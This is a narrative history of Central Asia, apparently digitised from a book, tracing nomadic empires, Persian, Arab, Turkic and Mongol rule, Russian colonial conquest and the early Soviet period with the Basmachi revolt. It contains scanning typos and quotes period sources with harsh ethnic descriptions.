Central Asia has always been different. At the heart of the history of Central Asia is not the story of princes and their courts, but the story of the nomad and his horse. In recent years Soviet archaeological research has pushed back the date when man first began herding animals in Asia to around 4000 BC. It is now thought that the horse was first domesticated in the Ukraine and that the cult of the horse spread rapidly eastward.
During the Neolithic Age, between 4,000 and 2,000 BC, Central Asia saw the development of mixed farming in which tribes hunted, herded and grew some crops. Based around the Caspian Sea these tribes developed pottery and stone tools as they steadily moved eastward into Central Asia.
Recent excavations at Altyn Tepe, near present-day Ashkhabad, revealed Neolithic settlements whose peoples traded with Persia and Mesopotamia in the Middle East. Later, pure pastoralism developed as tribes wandered further afield from their oasis settlements looking for pasture for their ever-larger herds of animals.
From around 1700 BC a distinct nomadic culture emerged. The evidence of unearthed burial mounds points to the importance given to horses and camels, which were killed and buried alongside their owners.
Later, between 1700 and 1000 BC, mounted nomadism became common, with the training of horses for war and their harnessing to chariots once the spoked wheel had been invented. When the Hittites conquered Anatolia in 1286 BC, mounted warriors and chariots were used for the first time as part of the established battle order.
The Saka tribes settled around the Caspian Sea and the Aral Sea were the first mounted nomads to found a dynasty in the region.
At its height around 800 BC, this dynasty ruled an area including that of modern-day Iran, western Turkey and Central Asia. Squeezed by growing Persian power, the Sakas later retreated into the Pamirs and the Tien Shan mountains, in the region today known as Kyrgyzstan.They remained here until 200 BC, when they were finally conquered by the Persians.
From 700 to 300 BC the Scythian tribes, who were settled north of the Syrdarya, swept southward conquering Central Asia and then India and Syria. The Scythians became the main antagonists of the Persian kings and later Alexander the Great, but today there is little evidence of what became of them; they must have been assimilated into the great ethnic melting pot of Central and South Asia.
The early Persian kings were the first to demarcate Central Asia, now inhabited by the offshoots of the Saka tribes. They divided the region between the Amudarya and Syrdarya rivers (darya means 'river' in Persian) and stretching from the Caspian Sea to the Pamir mountains into three distinct regions. From west to east these were Chorasmia, Bactria and Sogdiana.The latter included modern-day Tajikistan, eastern Uzbekistan and northern Afghanistan, while Bactria included much of present-day Uzbekistan.The Persian empire founded by Cyrus the Great in 550 BC was to rule Central Asia for the next two hundred years, until the arrival of the Greeks.
It was in Bactria that Zoroaster, who was born in modern Azerbaijan, first appeared with a new reIigion of fire worship. Zoroastrianism spread rapidly through Bactria Ind Sogdiana and was later adopted by the Persians.
The single aberration in this history of invasions from the east and south was the arrival from Europe of the Greeks under Alexander the Great. After defeating the Persians, Alexander conquered Bactria and Sogdiana between 329 and 327 BC. Alexander left an indelible mark on Central Asia, founding cities, promoting Hellenic culture and creating far greater uniformity within the region than it had ever known before. One of his successors, General Selucucos, founded the Selucid dynasty which ruled Bactria and large parts of Sogdiana.
In 239 BC another Greco-Bactrian kingdom was established which ruled from the Afghan city of Balkh. The Bactrians were to be finally overthrown by nomadic invaders from the east in around 140 BC.
Meanwhile the western region of Central Asia in present-day Turkmenistan continued to be ruled by the Parthian dynasty which was based on the Saka tribes. In 224 BC they were defeated by the Persian Sassanids. With the southern belt of Central Asia firmly under the control of the Persians, the north of Central Asia was invaded in the last century BC by successive waves of more Sakas, who continued south to Aghanistan and India. After these invasions, Buddhism also arrived and much closer contact was established between Central Asia and China to the east and India to the south.
In the eastern region of Central Asia in what is now Kyrgyzstan, "'the Sarmatian nomads with their Siberian animal culture moved south from Siberia and dominated the region from around 500 BC onwards. The first raids into Central Asia by Chinese princes took place around 100 BC and for a time they captured the Ferghana valley and imposed an annual tribute of 1,000 stallions on their victims.The Chinese were convinced that the famous horses of the Ferghana sweated blood. These horses were not only highly prized in the Chinese army, but also served as models for all horse sculpture across China.
In time both the Sarmatians and the Chinese were pressed from the rast by the Huns, the forefathers of the Mongols, who came out of the Gobi desert to occupy Kasghar in Xinjiang around 200 BC, crossed Central Asia and reached the Volga river in Russia by AD 400. Their empire - the first nomadic Mongol empire - stretched from Korea to the Ural mountains in Russia. The descriptions of the Huns fit the modern Kazakhs, who retain the same stocky physique and still have the largest mean head size of any people in the world. The Hepthalities, orWhite Huns, went on to conquer eastern Europe and parts of India, and in the fifth century Huns settled on the Danube rallied around their chief Attila and marched on Rome.
As the Huns moved westward, the vacuum in the east was filled by the Turkic tribes, who began what was to be a series of invasions westward spread over several centuries. The Turkic tribes originally inhabited the Alatau mountains in eastern Central Asia, from around 1000 BC onwards.
The word Tur or Turkic was given by the Chinese to signify all those nomadic tribes who occupied the region from Mongolia to the Black Sea and who posed a threat to the Chinese empire. Raids by the early Turkic tribes forced the Chinese to build the Great Wall of China. Around AD 200 these tribes turned around from attacking the Chinese in the east to attacking the oasis towns in Central Asia to the west. Some Turkic tribes settled in the Ferghana valley. By AD 500 these Turkic nomads were to defeat both the Persian Sassanids and the remainder of the Huns in the western part of Central Asia. Meanwhile eastern Central Asia was in the hands of the Uighur Turkic tribes, who set up a nomadic empire that straddled the border between present-day former Soviet Central Asia and Xinjiang.
Soon after the death of the Prophet Mohammed, Central Asia was invaded by the Arabs of the Umayyad dynasty based in Damascus. Crossing Persia, the Arabs first defeated Zubil, the Turkic king of Kabul, and then, crossing the Oxus for the first time, defeated the Sassanids at Merv in AD 651.The Arabs began the process of converting Central Asia to Islam, and some 50,000 Arab families arrived to settle in Merv.
The second wave of Arab conquests began in 705 when Bukhara and Samarkand were conquered. By 713 the Arabs ruled over the Ferghana valley and had ventured as far east as Kasghar.
The Zoroastrian fire temples in Samarkand and Bukhara were destroyed as the conquered people converted to Islam. The Arabs ruled Central Asia from the kingdom of Khorasan, which covered what is today western Afghanistan, northern Iran and Turkmenistan.
The Arab capital was at Merv, near the present-day Turkoman city of Mary. Merv, called the Queen of the World, developed as a major centre of Islamic learning under the Arabs and later the Seljuk Turks, until it was destroyed by the Mongols.
The Arab conquests saw a flowering of Islamic thought, philosophy and mysticism which was to turn Bukhara into a city second only to Mecca for its religiosity and learning. Al Bokhari (809-69), the philosopher and commentator on the Koran, wrote the Hadith, the sayings of the Prophet, which is still revered as one of the most important works in Islam. As the Arabs drove northwards, the Chinese were expanding into eastern Central Asia, and in 751, at Talas, the Muslim Arabs and the Chinese at last met in batle.The decisive victory of the Arabs ensured that the Chinese would encroach no further into Central Asia than Xinjiang.
By AD 900 several independent Muslim kingdoms had sprung up In Central Asia. The most important of these dynasties were the Persian Samanids who ruled from 874 to 999 and made their capital at Bukhara, from where they acted as patrons to one of the greatest periods of Islamic art, culture and science that Central Asia was ever to see.The Samanids were descended from Saman, a Zoroastrian from Dalkh in Afghanistan, whose son Ismail captured Khorasan and later the whole of Persia.
With a well-organized army and bureaucracy, the Samanids built up extensive trading links with Europe and China, thus regulating the Silk Route. During Samanid rule Central Asia became a recognized entity, considered to be not at the edges of the world but It the very centre of the known world, and which armies, merchants and peoples travelling from west to east had to traverse. With physicians such as Ibn Sina, mathematicians such as AI Biruni and poets such as Firdausi, the Samanid court left an indelible mark on the development of the Persian language and culture that was not to be eroded in Central Asia until the advent of communism.
The defeat of the Samanids by AIptgin, a Turkic officer of slave origins who formerly belonged to the Samanid army, saw the end of Persian political domination in Central Asia and the advent of Turkic domination. At Ghazni in Aghanistan the Turkic tribes created the Ghaznavid dynasty, which was to rule over a region that included parts of Central Asia and India. Its strongest ruler, Mahmood of Ghazni, undertook seventeen campaigns into India between 1001 and 1024 and conquered much of Central Asia. A series of invasions from the north by fresh Turkic tribes brought the Seljuk Turks to centre stage. The Seljuks first settled near Bukhara before they moved south.They captured Merv and then defeated the Ghaznavids in 1041, establishing an empire that spread as far as Turkey. By 1055 the Seljuk chief,Tughril Beg, stood outside the gates of Baghdad.
For over 200 years the Seljuks ruled from the Pamirs to Iraq, thus uniting for the first time under Turkic hegemony Central Asia with Persia and the Arab world. At the height of Seljuk rule, King Malikshah (1072"-92) ruled from Kasghar to Jerusalem and protected the booming trade along the Silk Route between Syria, Central Asia and China. The Seljuks were challenged and finally defeated by the Mongols under Genghis Khan.The Seljuk execution of Genghis Khan's envoy in 1218 and the murder of 450 Muslim merchants who had traded with the Mongols led Genghis Khan to attack their domains in Central Asia. Seljuk high-handedness is thus often blamed for the Mongol onslaught over Asia and Europe that was to follow. When the Seljuks and other Turkic tribes had moved westward they left behind in the Gobi desert their kinsmen, the Mongols, who gradually came to inhabit the region south of Lake Baikal.
Genghis Khan, born in 1155, succeeded in uniting the local tribes and in 1206 he was elected the Great Khan at a tribal meeting which adopted the name Mongol for a new tribal confederacy.
Later called the Golden Horde, this confederacy included all the tribes that today make up the major ethnic groups in Central Asia.
The exception are the Tajiks who derive their ancestry directly from the ancient Sogdians.The ancient Kazakhs, Kyrgyz and Turkomen were the warriors, whilst the Uighurs formed the bulk of Genghis bureaucracy because under Chinese influence they had developed a written script and a code of laws, which Genghis Khan was to adapt to Mongol needs.
Nobody in Central Asia or Europe could imagine what was about to appear over the horizon. The Mongols captured Bukhara in 1220, killing 30,000 people and burning the city to the ground in the process. In Bukhara, Genghis Khan declared, 'You ask who I am, who speaks this to you. Know, then, that I am the scourge of God, if you had not sinned God would not have sent me hither to punish you.'
In the next twelve months the whole of Central Asia fell to the Mongols. In 1223 an army of Tartar tribes led by Mongol generals defeated far superior Russian forces at the battle of Kalka and then pushed on through Russia in the dead of winter, finally reaching Hungary. The conquest of Russia was not to be avenged by the Russian princes for another three hundred years, until Ivan the Terrible captured the Tartar capital of Kazan in 1552. The Tartars were the heirs of the Mongols. It is ironic that, despite untold massacres carried out by the Mongols and the destruction of entire cities, Genghis Khan was a strong protector of trade and the Silk Route between Europe and China across Central Asia. During his lifetime, under a 'pax mongolica' merchants could travel from Korea to the Crimea in absolute security, not least because entire populations had been decimated along the way. The cost of this peace is now estimated to be about 5 million people who were killed by the Mongols. After the death of Genghis Khan, Central Asia was ruled by his son Chagatai, whose descendants divided Central Asia into two - the khanate ofTransoxiana in the west and Turkestan in the east.
The last great explosion out of Central Asia was to be perhaps the most important and lasting cultural influence in the region.
Taimur, or Tamerlane as he is known in the West, was born in 1336 and did not begin his conquests until he was forty years old. Born south of Samarkand amongst the Barlas Turks, Tamerlane captured most of Turkestan by 1380 and then moved south to Persia and India, west to Russia, and eastward to China. In 1393 he captured Baghdad. Two years later he took Moscow. As he conquered he moved the cream of the vanquished regions' intelligentsia and craftsmen to Samarkand, where he began to build the grandest capital city of ancient Asia. Tamerlane established the Timurid dynasty, and his grandson Ulugh Beg continued his artistic and intellectual traditions, turning Samarkand and Bukhara into the seat of all learning in the decorative arts, architecture, poetry, philosophy, painting and astronomy.
After two thousand years the military machine perfected by the nomads of Central Asia appeared to be finally running its course. Except for slight variations, their weapons had not changed for centuries. The short and powerful bow with which a rider could shoot off dozens of arrows accurately from the saddle, the dagger and small shield remained the same. From around AD 600 the short sword for close-quarters fighting was replaced by a steel sabre. Only in the seventeenth century did the introduction of firearms change the weaponry and tactics of nomadic warfare. The nomads' standard dress of pantaloons, wide at the waist and fitted into knee-high leather boots with a high heel, together with a long shirt, barely changed except for differences of style amongst the various ethnic groups.
A similar dress was adopted by Muslims in India during the Mogul empire. Elaborate saddles and harnesses for the horses made of leather, fur and a felt underlay had become standard by the thirteenth century. With the Huns ruling in central and western Europe, the Goths in Spain and Italy, and the Avars in Hungary, it appeared for a time that the whole world was in the grip of Central Asian nomads. They influenced Eropean military tactics and weapons, and European attitudes to the use of cavalry. Amir Khusrun, a Muslim writer living in India in 1389, gave historians a vivid description of the Mongol army on the move, which was similar to many of the nomadic warrior armies of Central Asia:

There were more than a thousand Tartar infidels and warriors of other tribes, riding on camels, great commanders in battle, all with steel-like bodies clothed in cotton; with faces like fire, with caps of sheep-skin, with their heads shorn. Their eyes were so narrow and piercing that they might have bored a hole in a brazen vessel. Their stink was more horrible than their colour. Their faces were set on their bodies as if they had no necks. Their cheeks resembled soft leather bottles, full of wrinkles and knots.Their noses extended from cheek to cheek, their mouths from cheek bone to cheek bone.Their moustaches were of extravagant length.They had scanty heards around their chins. The King marvelled at their beastly countenances and said that God had created them out of hell-fire.

The Timurid dynasty was to be replaced by a new tribal grouping, the Shaybani Uzbeks. The Uzbeks were of mixed Turkish and Mongol blood and part of the Golden Horde of Genghis Khan, but they had remained nomads, untouched by the civilizing influences of urban life. Under their dynamic chief Mohammed Shaybani, who was born in 1451, the Uzbeks united other tribes and then defeated the Timurid heir Babar at the decisive battle of Serpul, near Samarkand.
This battle was to change the course of Indian history, for Babar went on to conquer Afghanistan and India and to found the Mogul dynasty in Delhi. In a brief decade, from 1500 to 1510, the Uzbeks defeated the Turkomen and the Persians, thus extending their empire to much of Central Asia and northern Persia.
But Persian power was again on the rise with the coming to power of the Safavids, who ruled from 1501 to 1722 and who changed the state religion from Sunni to Shia Islam - a step that considerably reduced Persia's influence in Central Asia. Persia's main challenge was to contain Ottoman power in Turkey and Uzbek power in the north - the Uzbek chief Mohammed Shaybani was killed in 1510 in battle against the Safavids. In any case the Uzbeks soon broke up into smaller principalities, and the frequent wars of succession amongst them led to the evolution of three khanates, based on the cities of Khiva in the west, Bukhara in the centre and Kokand in the east. With the discovery of the sea route to India, the importance of the Silk Route had declined and, semi-forgotten, Central Asia slipped into a limbo.
Russia had made its opening move eastward as early as 1552 when Ivan the Terrible captured Kazan from the Tartars and massacred the entire population. Ivan built Saint Basil's Cathedral in Moscow's Red Square to commemorate the victory and topped its domes with onion shapes to symbolize the severed heads of the turbaned Tartars.
The battle and its grim memento was to be etched into Russia's collective memory for ever. As one writer has noted, the only time after 1552 that Russian forces ever retreated in the face of Muslim power was four centuries later in Afghanistan.
Ivan the Terrible swept on in 1556, taking Astrakhan, the strategically important city where the Volga empties into the Caspian Sea. Military expeditions were then mounted beyond the Ural mountains and into Siberia.Within a century, by 1650, the Russians had reached the Pacific, subduing the Siberian khanate along the way. Over the next two centuries the Muslim tribes in Central Asia were rolled back by a Slav crusade.
Peter the Great seized Dagestan, along the Caspian Sea, in 1723, which began a long and bloody war by Russia to conquer the Caucasus, which was to last until 1859 because of the spirited resistance put up by Caucasian guerrilla leaders such as Mullah Shamyl (1797-1871).
By the time Russia could claim that it had complete control of the Caucasus, it had also moved steadily southeastward into present-day Kazakhstan, building forts and roads and making treaties with local chiefs.
By 1750 the Russians had built forts over some 2,500 kilometers from Gurev, on the northern tip of the Caspian Sea, north to Orenburg and then east as far as the Alatau mountains and the town of Ust-Kamenogorsk (see map). Meanwhile the Russians had also expanded southward from the Siberian steppe as far as Lake Balkash. The Kazakhs were the first to be subdued, through a series of treaties with their chiefs between 1731 and 1740, but the three main Kazakh ordas or hordes still provided formidable resistance to Russian settlers.
As with Siberia, the pressure to conquer Central Asia was a mixture of imperial policy, ambition to rule the entire continent east of Moscow, and unrelenting economic pressure from merchants, bankers and Industrialists.The expansion into Siberia was fuelled by the hunger for land, furs or 'soft gold' and the sudden requirement by the Tsar for penal colonies.
In Central Asia, Russian expansion was fuelled by the military-bureaucratic apparatus which suddenly found itself, at the end of the war in the Caucasus, without an enemy to fight. Senior officers of the 200,000-strong Army of the Caucasus lobbied at the Tsar's court for permission to advance eastward.
At the same time, under Tsar Alexander the Second (1855-81), a similar aim was given to foreign policy by Foreign Minister Prince A. Gorchakov. In his first memorandum to the Tsar he wrote that Russia should turn away from Europe and expand its national interest in Asia, even at the price of confronting the British empire.
Merchants had been trading with Central Asia since the time of Peter the Great, and they had already discovered the merits of Central Asian cotton when the American Civil War (1861-65) suddenly cut off American cotton supplies. Merchants demanded that Moscow advance into Central Asia to secure cotton supplies.They increased the yield by importing Russian farmers and more scientific methods of cultivation. The abolition of serfdom in Russia had created a huge potential free peasant class, who wanted land, while Russian industriaIists were anxious to sell their goods to Central Asia. Once the economic and military imperatives had been determined, the court and the intellectual elite produced the necessary moral justification so common to other empire-building states in the colonial era.
Mikhail Pogodin (1800-75), a history professor at Moscow University, became popular for preaching the superiority of the Russian race and its civilizing mission in Asia. Other historians and writers joined him, helpIng to build an intellectual consensus for an aggressive, expansionist IlOlicy on Russia's borders.
The Russian Geographical Society, founded in 1845 in St. Petersburg and largely manned by retired military officers, used its expeditions to Central Asia to advocate seizing the region. Pyotr Semyonov (1827-1914), vice president of the society and himself an explorer of the Tien Shan range, argued for an expansionist policy on the basis of Russia's need for military security. He was later given the title 'Tyan-Shansky' by the Tsar in recognition of his work in opening up Central Asia.
The Russian Orthodox Church demanded that Russia end the slave trade in Khiva and bring Christianity to a barbaric people. For a time in Moscow everyone believed that it was Russia's manifest destiny to move into Asia and expand the empire.
None other than the great Russian novelist and humanist Feodor Dostoevsky was to write in 1881:

...the Russian is not only a European, but also an Asiatic. Not only that; in our coming destiny, perhaps it is precisely Asia that represents our main way out. In Europe we were hangers-on, whereas to Asia we shall go as masters. In Europe we were Asiatics, whereas in Asia we, too, are Europeans. Our civilizing mission in Asia will bribe our spirit and drive us thither.

The first expedition to the east had been a disastrous attempt by Peter the Great to conquer Khiva, in 1717, in which an entire Russian army was decimated. Another military expedition, sent out in 1839, also failed, but from then on the Russians followed a more cautious policy.They advanced east along the Syrdarya river building forts and subduing local tribes, and also moved west from the Tien Shan mountains which they had reached from Siberia. The two prongs of this move converged on Chimkent, which was captured in 1864;
Kyzl Orda, the main seat of Kazakh resistance, had fallen in 1853 and Vierny, now Alma Ata, was founded a year later. The Land between the Two Rivers was now encircled from three sides and the Russians moved in to conquer the rich agricultural heartland of Central Asia that comprises modern Uzbekistan.
Military campaigns were mounted to capture Tashkent in 1865 and Samarkand in 1868: Bukhara became a Russian protectorate. Meanwhile campaigns against the Turkomen in the south resulted in the capture of Khiva in 1873.
Finally Kokand, in the east, fell in 1876.
Russia's advance into Central Asia had been watched with great trepidation by another great colonial power, Britain, which scrambled to try to capture Afghanistan in a bid to hold back what it feared would be a Russian advance on British India.
Thus began the Great Game between Russia and England which was played out over the vast landscapes of Afghanistan, Persia, Xinjiang and Central Asia. Sensing the coming tensions, Russia quickly legitimized its presence in Central Asia.The conqueror of Central Asia and its governor-general from 1867 to 1881, General K.Von Kaufman, signed a peace treaty with the khan of Khiva abolishing slavery and making Khiva a vassal state. A similar treaty was signed with the emir of Bukhara. Britain tried to trump it in neighbouring Xinjiang by signing a friendship treaty with the emir of Kashgar to ensure that the Russians did not try and move further east into Chinese Turkestan.
Russia also legitimized the borders of Central Asia with its new neighbours. In 1860 a Sino-Russian treaty established the border with Xinjiang. This was to divide permanently the ethnic groups that spanned that border: the Kazakhs, Kyrgyz, Uighurs and others.
Russia neutralized the Persians by signing a peace treaty with Teheran in 1881, after the Russian army had defeated the Turkomen. In 1887 Russia began a long series of demarcations of the Afghan border with the British, to ensure that Afghanistan remained a buffer zone between the two Imperial powers.
The rivalry between the two had intensified after Moscow began laying tracks for the first railway lines in Central Asia, which in twenty years were to traverse the whole region.
The strategic 1,400-kilometre railway line from the Caspian Sea to Samarkand was completed in 1888 after its creators had overcome the enormous problems of building a track in waterless deserts.When the railway line reached Merv and then Kushk on the Afghan border, Russia was only 112 kilometres from Herat in western Afghanistan, which created near-panic in London and Delhi. Russian hawks insisted that a track be laid to Herat while British hawks managed to persuade their government to take the British railway line up the Khyber and Bolan passes in the North West Frontier Province and Baluchistan to the border with Afghanistan. British military historian Major-General Henry Rawlinson saw Russia advancing towards India 'like an army investing a fortress', and when news leaked that the Russian general M. D. Skobelegv had put forward a plan to the Tsar to Invade India through Afghanistan with just 15,000 men, there was consternation in the British Parliament and in the press.
The pressure from the British in India ensured that Moscow quickly Integrated Central Asia into the Russian empire. Within a few years Central Asia had become a cotton-growing colony for the textile mill owners in Moscow and a virgin market for manufacturers of Russian consumer goods.
It was a vast dumping ground for unwanted Russian firm labour, former serfs and political dissidents as well as a playground for adventure-seeking soldiers, priests, explorers and mountain climbers.
Unlike the British or French colonists, the Russian empire-builders had no seas to cross and no natural barriers to block their absorption of Central Asia. There was no organized state power In the region to hinder their advance and no foreign competition to Interfere with their economic exploitation of the region.
Russia had the vast steppes of Central Asia all to itself. By merely controlling the great navigable rivers and key mountain passes and by building railways, Russian access and political control were assured. Geography had given Russia a vast new hinterland that had incalculable natural resources and unparalleled strategic military depth.
Many Russians and a significant school of thought in England led by Sir Halford Mackinder, the founding father of geopolitics, viewed Central Asia in much the same way as the Mongol hordes did: that Central Asia was the centre of the world. 'It is the greatest natural fortress in the world defended by polar ice caps, deserts, arid tableland and mountain ranges. It was the largest landmass in the world and whoever controlled it exercised enormous power because they were not dependent on sea power.
It was the centre of political gravity because it enclosed more frontiers than any other region in the world - those of India, China, Europe and the Middle East. Although overstated, these were appealing notions for Russian and English strategists, who pushed for their respective expansionist policies in Central Asia. This debate about the 'heartland' was only vindicated during World War Two, when Central Asia gave enormous depth and space to Russia's defence and allowed the country to recover industrially from the fury of the German blitzkrieg.
However, like all usurping powers Russia faced unrelenting resistance from the people. The Kazakh and Kyrgyz nomads periodically rose in revolt against the new Russian farm owners who were seizing their grazing grounds. Revolts were crushed by the army and thousands of nomads were killed; many fled to China to escape persecution.
The Turkomen continued a hit-and-run guerrilla war in the desert that continued unabated until the 1930s.
The Tajiks and the Uzbeks under various political guises - first Pan-Turkism and then Pan-Islamism - resisted the Tsar's policies just as fiercely.
The history of this resistance, which is described in much greater detail later in our discource, was studiously ignored by first tsarist and then Bolshevik historians. The collective memory of this resistance is now playing a major role in shaping the future of the newly independent republics. The brutal repression and exploitation by Russia, which in arable areas led to the cultivation of cotton replacing all major food crops, plunged Central Asia into a grave economic crisis.
When on 25 June 1916 the Tsar ordered the mass mobilization of Central Asian manpower between the ages of nineteen and forty-three to carry out labour duties in the rear of the Russian army that was locked in battle with Germany, this simple edict was all that was need for a generalized revolt. Within a few months Kazakh and Kyrgyz nomads were waging an all-out guerrilla war against the Russian army. But without coherent leadership and common goals, and with vast distances to be covered to maintain communications, the revolts were suppressed - with great bloodshed, the slaughter of entire villages and the hanging and forced deportation of thousands of rebels north to Siberia.
Nevertheless the political divide between Russia and Central Asia had grown enormously in the process and a new local leadership of intellectuals, tribal chiefs and merchants formed new parties and military organizations across the region. Prevalent amongst them was the desire for independence, not just from tsarism but from Russia itself.
Russian colonialism had led to an intellectual revival amongst Muslims, especially in the cities of present-day Uzbekistan.
Fierce debates erupted between those who believed in a purely Islamic revival in Central Asia and those who believed in an independent united Turkestan under a Pan-Turkic nationalist leadership.
Others, particularly Tartar intellectuals, were sympathetic to a socialist revolution, which they hoped would not only do away with Russian oppression but also rid their own societies of feudal and tribal elites.
At the heart of these debates was the reformist Jadid movement, begun in 1883 by the Crimean Tartar Ismail Gasprinsky and later led by Uzbek and Tartar intellectuals. The Jadids believed that only by modernizing Islam, spreading education and allowing greater freedom to women could Central Asian Muslims combat growing Russian influence and shape their own future.
When the Bolshevik Revolution took place in 1917 there was considerable hope in Central Asia that Lenin's promises of self-determination meant that Russia would now grant either full independence to Central Asia or at least much greater autonomy. In Lenin's first appeal to the 'Muslims of Russia and the East' on 5 December 1917, he linked the Bolshevik programme, particularly the right of selfdetermination, to the revolt in Central Asia against tsarism. But the Bolsheviks' real attention was directed to Europe, where they believed the incipient insurrection in Berlin would quickly engulf Europe in revolution. Only in late 1918 did Stalin write the first articles in Pravda focusing attention on the revolutionary potential of Central Asia, which could help consolidate the Bolsheviks. A Commissariat of Nationality Affairs, or 'Narkomnats', headed by Stalin had been created in November 1917, but it had failed to address Muslim nationalist feeling in Central Asia. Only after the hopes of revolution in Europe had diminished did Moscow create the All-Russian Congress of Muslim Communist Organizations in the winter of 1918-19 to direct the developing civil war in Turkestan.
Tashkent, a city with a population of 200,000 Muslims and some 50,000 Russian settlers, was the centre of Turkestan's political life. Russian workers and soldiers overthrew the Provisional Government on 31 October 1917 (Julian calendar) and established the first soviet in Central Asia, but local Muslims were not invited to join it. They held a separate Muslim Congress which demanded autonomy for Central Asia but was ignored by the Tashkent Soviet. Muslim leaders then held an important congress in Kokand in December 1917 and announced the formation of the Provisional Autonomous Government of Turkestan, which would seek independence from Russia. Thus within a few months two centres of power had emerged, the wholly Russian and communist centre in Tashkent, and the Muslim and clearly nationalist Turkic centre at Kokand. Ethnic and religious differences had already divided Central Asia. In February 1918 Kokand was attacked by troops of the Tashkent Soviet, who slaughtered the city's inhabitants. The direct result of this brutal assault on the aspirations of Central Asian Muslims was the creation of the Basmachi Muslim rebel movement.
The Basmachis were local guerrilla groups led by mullahs, tribal chiefs and landlords who resisted Soviet rule across the whole of Central Asia and sustained their unequal struggle until the 1930s. By 1919 there were some forty Basmachi groups with some 20,000 fighters strung across the steppe from Ashkhabad to Ferghana and Dushanbe. Lenin's appeals to local Russian communists to be more sensitive to Muslim demands, such as his June 1920 appeal 'On Our Tasks in Turkestan', were ignored. As well as joining the Basmachis, Turkic nomads also joined the White armies in great numbers. By ignoring Muslim demands, the Bolsheviks gave the White armies, now fighting the Reds across much of Central Asia, a major recruiting base.
But the White generals, helped for a time by a dozen foreign countries who wanted to see Bolshevism destroyed, failed to capitalize on this support because their slogan, 'Russia one and indivisible', alienated the Central Asian Muslims and their dream of independence. By 1920 the Civil War was largely won - because tens of thousands of Muslim soldiers crossed lines and joined the Red Army after being appalled by White Russian attitudes and atrocities.These Muslim troops believed that the new communist era promised greater freedom and development for Central Asia. It was a hope that was to be dashed within months of Lenin's death and Stalin's rise to power.